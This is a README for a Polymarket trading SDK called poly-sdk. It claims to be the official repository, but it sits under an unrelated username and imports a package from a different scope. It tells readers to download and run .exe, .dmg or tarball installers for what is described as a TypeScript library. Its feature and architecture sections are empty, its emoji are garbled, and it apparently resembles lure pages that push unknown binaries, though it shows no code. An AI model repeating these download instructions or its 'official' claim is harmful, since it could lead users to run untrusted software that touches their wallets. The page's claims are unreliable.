wezilushinga

πŸš€ poly-sdk - Simplified Trading in Polymarket

Download poly-sdk


πŸ“š Overview

Welcome to the official poly-sdk repository. This software provides a unified TypeScript SDK designed for simplifying your interactions with Polymarket. Through this SDK, you can easily access trading features, market data, smart money analysis, and on-chain operations.

✨ Key Features


πŸ“₯ Download & Install

To start using poly-sdk, visit the Releases page to download the latest version.

  1. Click the button above to reach the Releases page.
  2. Look for the most recent version.
  3. Download the SDK package that fits your system.
  4. Follow the installation instructions based on your operating system.

πŸ› οΈ Installation Guide

Installation is straightforward.

For Windows

  1. Download the .exe package from the Releases page.
  2. Double-click the downloaded file to run the setup.
  3. Follow the on-screen prompts to complete the installation.

For macOS

  1. Download the .dmg file from the Releases page.
  2. Open the file and drag the application to your Applications folder.
  3. Launch the app from Applications.

For Linux

  1. Download the tarball from the Releases page.
  2. Open your terminal and navigate to the download location.
  3. Extract the tarball using tar -xvf filename.tar.gz.
  4. Follow the included README file for further setup instructions.

πŸ—οΈ Architecture

The poly-sdk is structured to facilitate easy access to its features. Below are the primary components:


πŸš€ Quick Start

After installation, you can quickly start using poly-sdk with these steps:

  1. Start the SDK through your system’s shortcut or terminal.
  2. Create a new project or open an existing one.
  3. Import the SDK into your project using:

    import { PolymarketSDK } from '@catalyst-team/poly-sdk';
    
  4. Follow the examples provided in the documentation to perform various operations.

This setup ensures you can leverage all the powerful features of the SDK effortlessly.


πŸ“– Services Guide

The poly-sdk consists of several services, each designed for specific tasks.

🏦 PolymarketSDK (Entry Point)

This is the main interface to interact with all available functionalities in the SDK. Initialize it to start using its features.

πŸ’Ή TradingService

The TradingService allows you to open trades, close positions, and manage your trading strategy effectively.

πŸ“ˆ MarketService

With MarketService, pulling market data has never been easier. Fetch live updates to make informed decisions.

πŸ”— OnchainService

Perform on-chain actions directly through this service. It includes functions for transactions and smart contracts.

πŸ“Š RealtimeServiceV2

This service provides real-time data updates. Stay informed with market changes and analytics instantly.

πŸ”’ WalletService

Manage your digital wallet with ease. This service allows you to handle wallet functions securely.


πŸ“« Need Help?

If you encounter any issues, please visit our issues page to report them or seek assistance. Community support is always available.

Don’t forget to check the official documentation for deeper insights and advanced usage. Enjoy trading!